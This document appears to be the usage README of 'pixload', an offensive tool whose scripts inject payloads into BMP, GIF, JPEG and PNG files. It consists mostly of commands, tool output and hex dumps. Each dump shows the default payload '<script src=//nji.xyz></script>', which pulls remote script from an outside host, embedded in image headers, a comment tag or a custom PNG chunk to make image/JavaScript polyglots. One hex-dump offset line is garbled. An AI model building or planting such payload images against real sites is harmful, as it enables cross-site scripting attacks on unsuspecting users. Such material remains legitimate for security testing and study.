sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl

./bmp.pl [-payload 'STRING'] -output payload.bmp

If the output file exists, then the payload will be injected into the
existing file.  Else the new one will be created.

./bmp.pl -output payload.bmp

[>|       BMP Payload Creator/Injector      |<]

    https://github.com/chinarulezzz/pixload


[>] Generating output file
[✔] File saved to: payload.bmp

[>] Injecting payload into payload.bmp
[✔] Payload was injected successfully

payload.bmp: PC bitmap, OS/2 1.x format, 1 x 1

00000000  42 4d 2f 2a 00 00 00 00  00 00 1a 00 00 00 0c 00  |BM/*............|
00000010  00 00 01 00 01 00 01 00  18 00 00 00 ff 00 2a 2f  |..............*/|
00000020  3d 31 3b 3c 73 63 72 69  70 74 20 73 72 63 2f 2f  |=1;<script src//|
00000030  6e 6a 69 2e 78 79 7a 3e  3c 2f 73 63 72 69 70 74  |nji.xyz></script|
00000040  3e 3b                                             |>;|
00000042

./gif.pl [-payload 'STRING'] -output payload.gif

If the output file exists, then the payload will be injected into the
existing file.  Else the new one will be generated.

./gif.pl -output payload.gif

[>|      GIF Payload Creator/Injector       |<]

    https://github.com/chinarulezzz/pixload


[>] Generating output file
[✔] File saved to: payload.gif

[>] Injecting payload into payload.gif
[✔] Payload was injected successfully

payload.gif: GIF image data, version 87a, 10799 x 32

00000000  47 49 46 38 37 61 2f 2a  20 00 80 00 00 04 02 04  |GIF87a/* .......|
00000010  00 00 00 2c 00 00 00 00  20 00 20 00 00 02 1e 84  |...,.... . .....|
00000020  8f a9 cb ed 0f a3 9c b4  da 8b b3 de bc fb 0f 86  |................|
00000030  e2 48 96 e6 89 a6 ea ca  b6 ee 0b 9b 05 00 3b 2a  |.H............;*|
00000040  2f 3d 31 3b 3c 73 63 72  69 70 74 20 73 72 63 3d  |/=1;<script src=|
00000050  2f 2f 6e 6a 69 2e 78 79  7a 3e 3c 2f 73 63 72 69  |//nji.xyz></scri|
00000060  70 74 3e 3b                                       |pt>;|
00000064

./jpg.pl [-payload 'STRING'] -output payload.jpg

If the output file exists, then the payload will be injected into the
existing file.  Else the new one will be created.

./jpg.pl -output payload.jpg

[>|      JPEG Payload Creator/Injector      |<]

    https://github.com/chinarulezzz/pixload


[>] Generating output file
[✔] File saved to: payload.jpg

[>] Injecting payload into comment tag
[✔] Payload was injected successfully

payload.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "<script src//nji.xyz></script>", baseline, precision 8, 32x32, components 3

00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 01 00 60  |......JFIF.....`|
00000010  00 60 00 00 ff fe 00 20  3c 73 63 72 69 70 74 20  |.`..... <script |
00000020  73 72 63 2f 2f 6e 6a 69  2e 78 79 7a 3e 3c 2f 73  |src//nji.xyz></s|
00000030  63 72 69 70 74 3e ff db  00 43 00 08 06 06 07 06  |cript>...C......|
000   00040  05 08 07 07 07 09 09 08  0a 0c 14 0d 0c 0b 0b 0c  |................|
00000050  19 12 13 0f 14 1d 1a 1f  1e 1d 1a 1c 1c 20 24 2e  |............. $.|
00000060  27 20 22 2c 23 1c 1c 28  37 29 2c 30 31 34 34 34  |' ",#..(7),01444|
00000070  1f 27 39 3d 38 32 3c 2e  33 34 32 ff db 00 43 01  |.'9=82<.342...C.|
00000080  09 09 09 0c 0b 0c 18 0d  0d 18 32 21 1c 21 32 32  |..........2!.!22|
00000090  32 32 32 32 32 32 32 32  32 32 32 32 32 32 32 32  |2222222222222222|
*
...
000002a5

./png.pl [-payload 'STRING'] -output payload.png

If the output file exists, then the payload will be injected into the
existing file.  Else the new one will be created.

./png.pl -output payload.png

[>|      PNG Payload Creator/Injector       |<]

    https://github.com/chinarulezzz/pixload


[>] Generating output file
[✔] File saved to: payload.png

[>] Injecting payload into payload.png

[+] Chunk size: 13
[+] Chunk type: IHDR
[+] CRC: fc18eda3
[+] Chunk size: 9
[+] Chunk type: pHYs
[+] CRC: 952b0e1b
[+] Chunk size: 25
[+] Chunk type: IDAT
[+] CRC: c8a288fe
[+] Chunk size: 0
[+] Chunk type: IEND

[>] Inject payload to the new chunk: 'pUnk'
[✔] Payload was injected successfully

payload.png: PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced

00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 00 20 00 00 00 20  08 02 00 00 00 fc 18 ed  |... ... ........|
00000020  a3 00 00 00 09 70 48 59  73 00 00 0e c4 00 00 0e  |.....pHYs.......|
00000030  c4 01 95 2b 0e 1b 00 00  00 19 49 44 41 54 48 89  |...+......IDATH.|
00000040  ed c1 31 01 00 00 00 c2  a0 f5 4f ed 61 0d a0 00  |..1.......O.a...|
00000050  00 00 6e 0c 20 00 01 c8  a2 88 fe 00 00 00 00 49  |..n. ..........I|
00000060  45 4e 44 ae 42 60 82 00  00 00 00 00 00 00 00 00  |END.B`..........|
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000000c0  00 1f 70 55 6e 6b 3c 73  63 72 69 70 74 20 73 72  |..pUnk<script sr|
000000d0  63 3d 2f 2f 6e 6a 69 2e  78 79 7a 3e 3c 2f 73 63  |c=//nji.xyz></sc|
000000e0  72 69 70 74 3e 9d 11 54  97 00 49 45 4e 44        |ript>..T..IEND|
000000ee